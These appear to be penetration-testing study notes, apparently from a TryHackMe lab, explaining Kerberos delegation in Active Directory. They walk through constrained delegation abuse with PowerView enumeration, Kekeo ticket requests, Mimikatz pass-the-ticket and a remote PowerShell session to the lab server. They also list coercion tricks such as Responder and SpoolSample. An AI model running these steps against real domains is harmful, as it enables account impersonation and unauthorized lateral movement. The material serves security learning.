General
Kerberos delegation is a feature that allows a service or user to request a new Kerberos ticket on behalf of another user, allowing the service or user to authenticate as the other user to a different service. This allows the original user to access a service through a trusted intermediary, without having to provide their own credentials. This process is also known as "impersonation" or "double-hop authentication."
Kerberos delegation is useful in scenarios where a user needs to access a service that is not directly reachable, such as when a user needs to access a resource on a remote server through a middle-tier service. By using delegation, the middle-tier service can authenticate to the remote server on behalf of the user, allowing the user to access the remote resource without having to provide their own credentials.
-
Kerberos delegation ((Resource-Based)Constrained, Unconstrained)
-
Constrained delegation: A user is granted permission to authenticate to a specific service as another user. The following are examples of services that can be configured for delegation:
- HTTPÂ - Used for web applications to allow pass-through authentication using AD credentials.
- CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.
- LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.
- HOST - Allows delegation of account for all activities on the host.
- MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.
-
Unconstrained delegation: A user/service is granted permission to authenticate to any service as another user.
-
Resource-Based Constrained Delegation: Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it. Let's say that we have permission to configure RBCD for a service. This means we have the ability to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for the AD Object.
-
-
Double Hop issue In Kerberos, a "double hop" occurs when a user authenticates to a server, and then the server attempts to authenticate to another server on behalf of the user.
How can we force a connection to a server with unconstrained delegation? I’ll give you a few options:
- Responder
- ARP Poisoning
- Rogue DHCPv6
- Phish an adin
- SpoolSample
TGS = Allows for the "borrowing" of a ticket TGT = Creation of a ticket
===Accounts that have delegation enabled are of interest to attackers, as they allow the account to authenticate to other services on behalf of other users.===
Constrained Delegation Exploitation
Powershell (Enumerate available delegations)
Get-NetUser -TrustedToAuth
Get access to an account that has Constrained or Unconstrained delegation (Credential (plaintext, NTLM, ...))
Kerberos delegation attack
We will use a combination of Kekeo (opens in a new tab) and Mimikatz (opens in a new tab).
Powershell (Launch Kekeo)
PS C:\> C:\Tools\kekeo\x64\kekeo.exe
Powershell (Example: Generate a TGT that can be used to generate tickets for the HTTP and WSMAN services) ---> Delegation on those services
kekeo # tgt::ask /user:svcIIS /domain:AD_DOMAIN /password:XXXXXXXX
- user - The user who has the constrained delegation permissions.
- domain - The domain that we are attacking since Kekeo can be used to forge tickets to abuse cross-forest trust.
- password - The password associated with the svcIIS account.
Powershell (forge TGS requests for the account we want to impersonate)
kekeo # tgs::s4u /tgt:TGT_WE_JUST_CREATED /user:ACCOUNT_TO_IMPERSONATE /service:http/SERVER_DOMAINE_NAME
- tgt - We provide the TGT that we generated in the previous step.
- user - The user we want to impersonate. Since t2_ accounts have administrative access over workstations, it is a safe assumption that t1_ accounts will have administrative access over servers, so choose a t1_ account that you would like to impersonate.
- service - The services we want to impersonate using delegation. We first generate a TGS for the HTTP service. Then we can rerun the same command for the WSMAN service.
Powershell (Import the tickets in mimikats)
PS C:\> C:\Tools\kekeo\x64\mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::ptt TICKET_TO_IMPORT(1)
mimikatz # kerberos::ptt TICKET_TO_IMPORT(2)
exit
Powershell (Verify if the tickets were imported to the account)
klist
Create our PSSession on THMSERVER1 (Specific to this example were we have delegation for HTTP and WSMAN)
PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 thmserver1.z... RemoteMachine Opened Microsoft.PowerShell Available
PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: